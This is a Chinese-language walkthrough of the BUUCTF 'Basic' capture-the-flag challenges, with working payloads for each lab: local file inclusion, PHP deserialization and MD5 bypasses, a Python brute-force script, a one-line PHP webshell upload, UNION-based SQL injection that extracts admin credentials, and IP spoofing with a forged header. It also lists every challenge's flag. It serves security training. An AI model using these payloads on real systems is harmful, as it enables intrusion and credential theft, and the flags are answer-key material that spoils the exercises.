buuctf Basic
字数 1501 2025-08-11 17:40:26
BUUCTF Basic 题目解析与教学文档
1. Linux Labs
目标:通过SSH连接Linux服务器获取flag
步骤:
- 使用SSH客户端(如Xshell)连接服务器
- 用户名:root
- 密码:123456
- 执行命令查看文件:
ls ../ - 查看flag文件:
cat ../flag.txt
Flag:flag{8fee8783-1ed5-4b67-90eb-a1d603a02080}
2. BUU LFI COURSE 1
目标:利用本地文件包含漏洞获取flag
分析:
- URL中存在通过GET方式传递的file参数
- 源代码审查发现文件包含漏洞
利用方法:
构造payload访问flag文件:
http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/?file=/flag
Flag:flag{f2be8efe-aafb-4272-9026-15daa6109822}
3. BUU CODE REVIEW 1
目标:通过代码审计和反序列化漏洞获取flag
代码分析:
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
}
}
利用条件:
- GET参数
pleaseget=1 - POST参数
pleasepost=2 - POST参数
md51和md52不同但MD5值相同 - POST参数
obj包含序列化的BUU对象
利用方法:
方法一:利用PHP弱类型比较
class BUU{
public $correct="";
public $input="";
}
$obj = new BUU;
$obj->input = &$obj->correct; // 传引用使两者始终相等
echo serialize($obj);
Payload:
/?pleaseget=1
POST: pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
方法二:使用MD5碰撞
/?pleaseget=1
POST: pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
Flag:flag{e8db4533-5be4-4167-823c-99aa37dd11c3}
4. BUU BRUTE 1
目标:暴力破解管理员密码
分析:
- 密码为四位数字
- 用户名为admin
利用方法:
方法一:Python脚本爆破
import requests
url = "http://1ceee8eb-6422-4482-b14b-ff6347146129.node3.buuoj.cn/?username=admin&password="
for i in range(6400, 7000):
res = requests.get(url + str(i))
print("[*] Try:", i)
if res.text != "密码错误,为四位数字。":
print(res.text)
break
方法二:Burp Suite爆破
- 设置Intruder攻击
- 使用数字payload从0000-9999
- 注意降低线程速度避免被封禁
Flag:flag{410c3a24-9741-48ad-bea2-664880484307}
5. BUU UPLOAD COURSE 1
目标:上传Webshell获取flag
步骤:
- 访问上传页面:
http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=upload.php - 上传PHP文件(修改后缀为.jpg绕过检测):
<?php @eval(system($_POST["x"]));?> - 访问上传的文件并执行命令:
http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=uploads/[filename].jpg POST: x=ls - 查看flag:
x=cat /flag
Flag:flag{75427571-4ee5-4f7c-b97a-b84ad969ca1f}
6. BUU SQL COURSE 1
目标:利用SQL注入获取管理员凭证
步骤:
- 发现注入点:新闻详情页的id参数
- 查询表名:
结果:?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#admin,contents - 查询admin表列名:
结果:?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#id,username,password - 查询管理员凭证:
结果:?id=0 union select group_concat(username),group_concat(password) from admin#admin,5398f18f7e93f8e45f6ea31bc4105a2d
Flag:flag{86ac0951-9f94-4b5e-b19b-07a9a4109c15}
7. BUU BURP COURSE 1
目标:绕过IP限制获取flag
分析:
- 页面提示需要本地访问
- 可通过X-Real-IP头伪造IP
利用方法:
- 添加HTTP头:
X-Real-IP: 127.0.0.1 - 提交任意用户名和密码组合
Flag:flag{1470d887-a1c6-4109-b401-12ccda3cba8d}
总结
本系列题目涵盖了多种基础Web安全技术:
- 基础Linux操作
- 文件包含漏洞
- PHP反序列化漏洞
- 暴力破解
- 文件上传漏洞
- SQL注入
- HTTP头伪造
每个题目都展示了常见Web漏洞的利用方法,是很好的CTF入门练习。